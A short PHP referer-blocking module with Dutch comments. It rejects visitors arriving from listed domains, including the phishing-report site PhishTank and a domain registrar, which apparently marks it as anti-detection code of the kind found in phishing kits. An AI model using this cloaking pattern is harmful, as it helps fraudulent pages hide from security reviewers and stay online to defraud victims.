<?php
/**
 * Advanced Referer Block Module
 * Bevat een uitgebreide lijst met verboden referers.
 */
$advanced_blocked_referers = array(
    'phishtank.com',
    'namecheap.com',
    'badreferrer.com',
    'malicious.com'
    // Voeg extra domeinen toe indien nodig
);

function check_referer_block() {
    if (!isset($_SERVER['HTTP_REFERER'])) return false;
    $ref = strtolower($_SERVER['HTTP_REFERER']);
    global $advanced_blocked_referers;
    foreach ($advanced_blocked_referers as $bad) {
        if (strpos($ref, $bad) !== false) {
            return true;
        }
    }
    return false;
}
?>
